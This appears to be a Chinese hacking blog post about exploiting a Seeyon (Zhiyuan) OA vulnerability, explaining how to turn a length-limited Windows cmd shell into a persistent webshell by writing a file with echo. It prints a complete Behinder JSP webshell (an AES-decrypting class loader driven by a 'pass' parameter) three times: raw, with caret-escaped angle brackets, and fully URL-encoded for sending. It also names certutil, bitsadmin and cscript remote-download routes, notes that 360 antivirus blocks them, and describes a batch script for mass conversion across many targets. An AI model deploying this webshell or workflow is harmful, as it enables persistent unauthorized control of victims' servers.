前言
前一段時(shí)間致遠(yuǎn)OA的洞坑了不少公司
自己也復(fù)現(xiàn)了一下 但是有個很惡心的問題就是 默認(rèn)的payload是有長度限制的并且只是一個cmd的shell
Linux的shell還比較靈活 但是win的來說就不太方便了
特別是配合上惡心的url編碼在瀏覽器里面遇到反斜杠就gg
那么怎么把cmdshell優(yōu)雅的轉(zhuǎn)化為可以連接的一句話呢
看了以前的帖子大概有這幾個辦法
Js+cscript
Certutil +base64
Win7以上還有bitsadmin
Ps
等等等等
Bitsadmin就不說了
Certutil跟cscript遠(yuǎn)程下載其實(shí)也不錯
但是有兩個問題
1 如果主機(jī)不通外網(wǎng)就gg
2 360會攔截
綜合來說都有自己的不足之處
還是一句話echo最穩(wěn)了
自己也研究了一下 但是用echo寫馬有兩個天坑
1.win的尖括號轉(zhuǎn)義
Win的尖括號要用^來轉(zhuǎn)義而不是反斜杠
如果你要是放到引號里會把引號一起打印出來
2. 沙雕url編碼
https://www.cnblogs.com/i80386/p/4576699.html
大家可以自己去網(wǎng)上找一下帖子到底u(yù)rl編碼有多混亂尤误。惫皱。。。
這里就說說python的requests模塊的url編碼
經(jīng)過測試
空格=>%20
%空格=>%%20
%20=>%20
也就是說 他在默認(rèn)遇到百分號開頭的字符串的時(shí)候 request模塊會把它當(dāng)做已經(jīng)編碼過的字符 直接發(fā)送過去
但是他就帶來個問題不會自動編碼百分號
所以你只把尖括號跟百分號轉(zhuǎn)義過后的payload放到py腳本里還是不能正常執(zhí)行
這里偷了個懶直接找的在線網(wǎng)站将塑,把它編碼一遍再放到python里
http://tool.chinaz.com/tools/urlencode.aspx
綜上:
原來payload(冰蝎為例)
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
尖括號轉(zhuǎn)義=>
^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%^>
url編碼=>
%5e%3c%25%40page+import%3d%22java.util.*%2cjavax.crypto.*%2cjavax.crypto.spec.*%22%25%5e%3e%5e%3c%25!class+U+extends+ClassLoader%7bU(ClassLoader+c)%7bsuper(c)%3b%7dpublic+Class+g(byte+%5b%5db)%7breturn+super.defineClass(b%2c0%2cb.length)%3b%7d%7d%25%5e%3e%5e%3c%25if(request.getParameter(%22pass%22)!%3dnull)%7bString+k%3d(%22%22%2bUUID.randomUUID()).replace(%22-%22%2c%22%22).substring(16)%3bsession.putValue(%22u%22%2ck)%3bout.print(k)%3breturn%3b%7dCipher+c%3dCipher.getInstance(%22AES%22)%3bc.init(2%2cnew+SecretKeySpec((session.getValue(%22u%22)%2b%22%22).getBytes()%2c%22AES%22))%3bnew+U(this.getClass().getClassLoader()).g(c.doFinal(new+sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3b%25%5e%3e
然后寫個輪子
就可以批量cmd轉(zhuǎn)一句話啦
寫了個腳本
支持批量檢測跟單個檢測
如果是
http://
開頭的就識別成單個
xxx.txt就是批量
需要設(shè)置一下腳本里面的cmdshell地址跟密碼